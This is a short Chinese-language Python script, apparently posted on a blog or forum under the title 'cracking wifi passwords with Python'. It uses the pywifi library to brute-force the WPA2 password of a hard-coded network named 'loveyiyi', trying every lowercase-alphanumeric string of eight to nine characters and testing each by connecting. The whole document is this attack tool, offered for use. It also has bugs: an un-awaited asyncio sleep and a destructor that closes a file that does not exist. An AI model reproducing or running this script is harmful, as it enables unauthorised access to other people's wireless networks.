|
python破解wifi密码
- import time # 时间
- from asyncio.tasks import sleep
- import itertools
- import pywifi # 破解wifi
- from pywifi import const # 引用一些定义
-
-
- class PoJie():
- def __init__(self):
- wifi = pywifi.PyWiFi() #抓取网卡接口
- self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
- self.iface.disconnect() #测试链接断开所有链接
-
- time.sleep(1) #休眠1秒
-
- #测试网卡是否属于断开状态,
- assert self.iface.status() in\
- [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
-
- def readPassWord(self):
- print("开始破解:")
- chars = '0123456789abcdefghijklmnopqrstuvwxyz'
- for password_length in range(8, 10): # 这里我们尝试长度为1到8的密码
- # 使用itertools.product生成所有可能的密码组合
- # print(password_length)
- for password_tuple in itertools.product(chars, repeat=password_length):
- password = ''.join(password_tuple)
- # if password == "123":
- # print(password)
- print(f'正在尝试密码{password}')
- try:
- myStr = password
- if not myStr:
- break
- bool1=self.test_connect(myStr)
- if bool1:
- print("密码正确:",myStr)
- break
- else:
- print("密码错误:"+myStr)
- sleep(3)
- except:
- continue
-
- def test_connect(self,findStr):#测试链接
-
- profile = pywifi.Profile() #创建wifi链接文件
- profile.ssid ="loveyiyi" #wifi名称
- profile.auth = const.AUTH_ALG_OPEN #网卡的开放,
- profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
- profile.cipher = const.CIPHER_TYPE_CCMP #加密单元
- profile.key = findStr #密码
-
- self.iface.remove_all_network_profiles() #删除所有的wifi文件
- tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
- self.iface.connect(tmp_profile)#链接
- time.sleep(5)
- if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上
- isOK=True
- else:
- isOK=False
- self.iface.disconnect() #断开
- time.sleep(1)
- #检查断开状态
- assert self.iface.status() in\
- [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
-
- return isOK
-
-
- def __del__(self):
- self.file.close()
-
-
- start=PoJie()
- start.readPassWord()
复制代码
|
|